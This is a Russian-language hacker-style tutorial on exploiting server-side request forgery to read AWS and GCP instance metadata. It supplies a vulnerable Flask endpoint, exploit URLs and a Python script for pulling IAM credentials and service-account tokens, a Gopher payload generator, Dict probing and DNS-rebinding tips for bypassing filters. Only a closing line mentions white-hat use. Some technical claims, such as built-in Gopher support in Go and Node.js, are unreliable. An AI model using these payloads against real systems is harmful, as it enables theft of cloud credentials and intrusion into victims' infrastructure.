57
Эй, хакер! Если ты здесь, значит, ты готов нырнуть в мир Server-Side Request Forgery (SSRF) — той уязвимости, которая превращает сервер в твоего личного прокси для атаки на внутренние сети. Я — твой гид по эксплойтам, и сегодня мы разберём, как использовать SSRF в облаках AWS и GCP, чтобы добраться до сочных метаданных. Мы поговорим о чтении внутренних данных через уязвимые эндпоинты и о том, как обходить фильтры с помощью крутых протоколов вроде Gopher и Dict. Всё с примерами кода, шагами и лайфхаками — без воды, только чистый хардкор. Готов? Поехали!
Что такое SSRF и почему это бомба в облаке?
SSRF — это когда ты заставляешь сервер отправлять запросы от своего имени. Вместо того чтобы пинговать внешний URL, ты подсовываешь ему внутренний адрес, и бац — сервер лезет в свои же потроха. В облачных сервисах вроде AWS и GCP это особенно вкусно, потому что там полно метаданных: ключи доступа, токены, конфиги. Один удачный SSRF — и ты король инстанса.
Представь: приложение парсит URL из твоего ввода и фетчит данные. Ты меняешь http://example.com
на http://169.254.169.254/latest/meta-data/
(это метаданные AWS) — и сервер вываливает тебе секреты. В GCP аналогично: http://metadata.google.internal/computeMetadata/v1/
. Но облака умнеют, добавляют фильтры. Тут-то и вступают наши хитрости.
Лайфхак: Всегда проверяй, поддерживает ли цель протоколы вроде file://, dict:// или gopher://. Они часто пропускают через фильтры, потому что разработчики фокусируются на http/https.
SSRF в AWS и GCP: Цели и Уязвимости
В AWS метаданные живут по адресу 169.254.169.254
(IMDSv1) или с токеном в IMDSv2. Это локальный IP, доступный только с инстанса EC2. SSRF позволяет тебе “попросить” сервер запросить это за тебя.
В GCP — metadata.google.internal
(или IP 169.254.169.254, но с хедером Metadata-Flavor: Google
). Здесь можно вытащить токены сервис-аккаунтов, которые дают доступ к Storage, Compute и т.д.
Почему это работает? Многие приложения (вебхуки, парсеры изображений, API) не валидируют URL должным образом. Уязвимые эндпоинты — это где угодно: от XML-парсеров (XXE как подвид SSRF) до простых GET-запросов.
Шаг 1: Найди уязвимый эндпоинт. Тестируй параметры вроде url=
, image=
, callback=
. Отправь http://127.0.0.1
и посмотри, вернётся ли локальный контент.
Шаг 2: Целься в метаданные. Для AWS: /latest/meta-data/iam/security-credentials/
. Для GCP: /computeMetadata/v1/instance/service-accounts/default/token
.
Пример Эксплойта: Чтение Метаданных Через Уязвимый Эндпоинт
Допустим, у нас есть уязвимое приложение на Python (Flask), которое фетчит URL из запроса:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
from flask import Flask, request import requests app = Flask(__name__) @app.route('/fetch') def fetch_url(): url = request.args.get('url') response = requests.get(url) return response.text if __name__ == '__main__': app.run() |
Это классика SSRF. Чтобы эксплуатировать:
http://vulnerable.app/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name
Сервер (если на AWS) вернёт JSON с временными ключами AWS. Бум! Теперь у тебя access_key, secret_key и token для дальнейших атак (например, листинг S3-бакетов).
Для GCP: ?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
с хедером Metadata-Flavor: Google
(но в SSRF сервер добавит его сам, если правильно настроен).
Код для теста эксплойта (используй Python для автоматизации):
1 2 3 4 5 6 7 |
import requests target = "http://vulnerable.app/fetch" payload = "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name" response = requests.get(f"{target}?url={payload}") print(response.text) # Здесь твои метаданные! |
Лайфхак: Если IMDSv2 в AWS (требует PUT-запроса для токена), используй SSRF для цепочки: сначала получи токен, потом метаданные. Скрипт для этого — твой домашний вызов.
Обход Фильтров: Gopher и Dict в Действии
Фильтры? Ха, разработчики часто блочат http://localhost или 169.254.169.254, но забывают о других протоколах. Вот где Gopher (для TCP-туннелинга) и Dict (для словарей, но круто для портов) спасают день.
Gopher: Туннель Через Фильтры
Gopher — старый протокол, но в SSRF он как швейцарский нож. Он позволяет кодировать сырые TCP-пакеты в URL: gopher://host:port/_payload
.
Пример: Обходим фильтр, чтобы достать метаданные AWS через Gopher.
GET /latest/meta-data/ HTTP/1.1\r\nHost: 169.254.169.254\r\n\r\n
gopher://169.254.169.254:80/_GET%20/latest/meta-data/%20HTTP/1.1%0d%0aHost:%20169.254.169.254%0d%0a%0d%0a
?url=gopher://169.254.169.254:80/_[твой_encoded_payload]
В Python для генерации:
1 2 3 4 5 6 |
import urllib.parse raw = "GET /latest/meta-data/ HTTP/1.1\r\nHost: 169.254.169.254\r\n\r\n" encoded = urllib.parse.quote(raw).replace('%0A', '%0D%0A') # Gopher любит %0D%0A gopher_url = f"gopher://169.254.169.254:80/_{encoded}" print(gopher_url) # Подставь в запрос |
Сервер выполнит это как TCP-стрим — и фильтры на HTTP не сработают.
Dict: Простой Обход для Портов
Dict — протокол для словарей, но в SSRF он сканирует порты или фетчит данные: dict://host:port/info
.
Пример для GCP: Если фильтр блочит HTTP, попробуй dict://metadata.google.internal:80/whatever
— это может триггерить запрос на порт 80 и вернуть баннер или данные.
Лайфхак: Комбинируй с DNS-ребиндингом. Зарегистрируй домен, который резолвится в 169.254.169.254 после TTL, — фильтры на IP не сработают.
Шаг для обхода: Тестируй протоколы по порядку: http -> file -> dict -> gopher. Если цель на Go или Node.js, они часто поддерживают Gopher из коробки.
Заключение: Становись Мастером SSRF
SSRF в облаке — это не шутки: один эксплойт, и ты внутри. Мы разобрали базовый доступ к метаданным AWS/GCP, примеры кода и обход через Gopher/Dict. Теперь твоя очередь: настрой Burp Suite, протести на своей VM в AWS, и напиши свой эксплойт. Помни, это для белых шляп — используй эти знания, чтобы фиксить, а не ломать.